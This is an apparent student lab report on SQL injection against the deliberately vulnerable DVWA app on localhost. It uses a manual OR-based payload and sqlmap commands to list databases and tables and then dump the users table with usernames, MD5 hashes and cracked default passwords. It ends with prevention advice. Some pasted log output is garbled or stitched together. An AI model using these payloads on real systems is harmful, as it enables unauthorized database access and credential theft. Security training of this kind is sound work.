

SQL Injection Practical Exploitation

Objective

The objective of this task is to perform practical SQL Injection testing using **SQLMap** on a vulnerable application. The task demonstrates how attackers can exploit insecure input handling to extract sensitive database information and understand the security impact.

- Environment Setup

Component	Details
OS	Kali Linux (Virtual Machine)
Vulnerable App	DVWA (running on localhost)
Security Level	Low
Testing Tool	SQLMap

DVWA was accessed via:

- Arduino
 - <http://localhost/dvwa/vulnerabilities/sql/>

The screenshot shows a web browser window for the DVWA application. The URL in the address bar is `localhost/DVWA/vulnerabilities/sql/#`. The page title is "Vulnerability: SQL Injection". On the left, there's a sidebar menu with various exploit categories: Home, Instructions, Setup / Reset DB, Brute Force, Command Injection, CSRF, File Inclusion, File Upload, Insecure CAPTCHA, SQL Injection (the current page), SQL Injection (Blind), Weak Session IDs, XSS (DOM), XSS (Reflected), XSS (Stored), CSP Bypass, JavaScript Attacks, Authorisation Bypass, Open HTTP Redirect, and Cryptography. The main content area has a form with a "User ID:" input field and a "Submit" button. Below the form is a "More Information" section containing a bulleted list of links related to SQL injection.

User ID: Submit

More Information

- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- https://owasp.org/www-community/attacks/SQL_Injection
- <https://bobby-tables.com/>

- **Identifying Injectable Parameter**

The vulnerable page contained the URL parameter:

?id=1

Manual test input:

1' OR '1'='1

The screenshot shows the DVWA SQL Injection page. On the left is a sidebar with various vulnerability categories. The 'SQL Injection' category is highlighted in green. The main content area has a title 'Vulnerability: SQL Injection'. Below it is a form with a 'User ID:' input field containing 'ID: 1' OR '1=1' and a 'Submit' button. To the right of the form, several user records are displayed, each resulting from the injected SQL query. The records show first names like 'admin', 'Gordon', 'Hack', 'Pablo', and 'Bob', and last names like 'admin', 'Brown', 'Me', 'Picasso', and 'Smith'. At the bottom of the page, there's a 'More Information' section with links to external resources about SQL injection.

The application response changed, confirming possible SQL Injection vulnerability

SQLMap Exploitation Steps

1. Listing Databases

* Command used:

- Bash:-

I. isqlmap -u

```
"http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=YOURSESSIONID; security=low" -dbs
```

```

[*] starting @ 23:52:54 /2026-02-04/
[23:52:54] [INFO] resuming back-end DBMS 'mysql'
[23:52:54] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET) -> continue
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1' AND (SELECT 8425 FROM (SELECT(SLEEP(5)))VKEI) AND 'QemR'='QemR&Submit=Submit
  Type: UNION query
  Title: Generic UNION query (NULL) - 2 columns
  Payload: id=1' UNION ALL SELECT CONCAT(0x716a6a7671,0x66596e4f6b4269457a526d44747279787a6355646c714554566e6d48756c447061724f546d5946,0x7170787a71),NULL-- &Submit=Submit
[23:52:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.66
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:52:54] [INFO] fetching database names
available databases [6]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] test
[23:52:54] [INFO] fetched data logged to text files under '/home/rahul/.local/share/sqlmap/output/localhost'
[23:52:54] [WARNING] your sqlmap version is outdated
[*] ending @ 23:52:54 /2026-02-04/

```

Result: SQLMap successfully identified available databases.

2. Extracting Tables from Database

After identifying the dvwa database:

- Bash:-

- I. sqlmap -u "URL" --cookie="PHPSESSID=...; security=low" -D dvwa --tables

```

Parameter: id (GET) -> run SQLMap for tables
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1' AND (SELECT 8425 FROM (SELECT(SLEEP(5)))VKEI) AND 'QemR'='QemR&Submit=Submit
  Type: UNION query
  Title: Generic UNION query (NULL) - 2 columns
  Payload: id=1' UNION ALL SELECT CONCAT(0x716a6a7671,0x66596e4f6b4269457a526d44747279787a6355646c714554566e6d48756c447061724f546d5946,0x7170787a71),NULL-- &Submit=Submit
[00:33:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.66
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[00:33:00] [INFO] fetching tables for database: 'dvwa'
[00:33:00] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[4 tables]
+-----+
| access_log |
| guestbook |
| security_log |
| users      |
+-----+ when usernames + password hashes appear.

[00:33:00] [INFO] fetched data logged to text files under '/home/rahul/.local/share/sqlmap/output/localhost'
[00:33:00] [WARNING] your sqlmap version is outdated
[*] ending @ 00:33:00 /2026-02-05/

```

Result: Tables inside the DVWA database were listed.

3 Dumping User Data

- bash:-

- I. sqlmap -u "URL" --cookie="PHPSESSID=...; security=low" -D dvwa -T users –dump

```
e5c71e9e9b7' at 00:37:11 [INFO] starting sqlmap attack against http://127.0.0.1:8080/dvwa/index.php?username=rahul&password=rahul&submit=Login
Database: dvwa
Table: users
[5 entries]
+-----+-----+-----+-----+-----+
| user_id | role   | user    | avatar  | password          | | |
|         |        |         |          | last_name | first_name | last_login |
|         | failed_login | account_enabled |
+-----+-----+-----+-----+-----+
| 1      | admin  | admin   | /DVWA/hackable/users/admin.jpg | 5f4dcc3b5a
a765d61d8327deb882cf99 (password) | admin   | admin   | 2026-02-03 18:2
4:15 | 0      |         | 1       |           |           |           |
| 2      | user   | gordonb | /DVWA/hackable/users/gordonb.jpg | e99a18c428
cb38d5f260853678922e03 (abc123) | Brown   | Gordon  | 2026-02-03 18:2
4:15 | 0      |         | 1       |           |           |           |
| 3      | user   | 1337   | /DVWA/hackable/users/1337.jpg | 8d3533d75a
e2c3966d7e0d4fcc69216b (charley) | Me     | Hack   | 2026-02-03 18:2
4:15 | 0      |         | 1       |           |           |           |
| 4      | user   | pablo   | /DVWA/hackable/users/pablo.jpg | 0d107d09f5
bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo  | 2026-02-03 18:2
4:15 | 0      |         | 1       |           |           |           |
| 5      | user   | smithy  | /DVWA/hackable/users/smithy.jpg | 5f4dcc3b5a
a765d61d8327deb882cf99 (password) | Smith   | Bob    | 2026-02-03 18:2
4:15 | 0      |         | 1       |           |           |           |
+-----+-----+-----+-----+-----+
[00:37:11] [INFO] table 'dvwa.users' dumped to CSV file '/home/rahul/.local/share/sqlmap/output/localhost/dump/dvwa/users.csv'
[00:37:11] [INFO] fetched data logged to text files under '/home/rahul/.local/share/sqlmap/output/localhost'
[00:37:11] [WARNING] your sqlmap version is outdated
[*] ending @ 00:37:11 /2026-02-05/
```

Result: SQLMap extracted usernames and password hashes from the users table.

Attack Flow Summary

1. Identified injectable parameter (id)
 2. Used SQLMap to confirm injection
 3. Enumerated database names
 4. Extracted tables from the database
 5. Dumped user credentials
-

Impact of SQL Injection

SQL Injection can allow attackers to:

- Access sensitive database information
- Extract user credentials
- Modify or delete records
- Bypass authentication
- Take full control of the application database

This demonstrates how a single vulnerable input can lead to complete system compromise.

Types of SQL Injection

Type	Description
Error-based	Uses database error messages to gather information
Union-based	Uses UNION queries to extract data
Blind SQLi	No visible errors; relies on true/false responses
Time-based SQLi	Uses time delays to infer database behavior

Prevention Methods

Security Measure	Description
Prepared Statements	Prevents query manipulation
Input Validation	Rejects malicious characters
ORM Frameworks	Reduces direct SQL query usage
Least Privilege	Restricts DB user permissions
WAF (Web Application Firewall)	Blocks suspicious traffic

Conclusion

This task demonstrated how SQL Injection vulnerabilities can be exploited using automated tools like SQLMap. The exercise highlighted the severe impact of improper input validation and the importance of secure coding practices to protect databases from unauthorized access.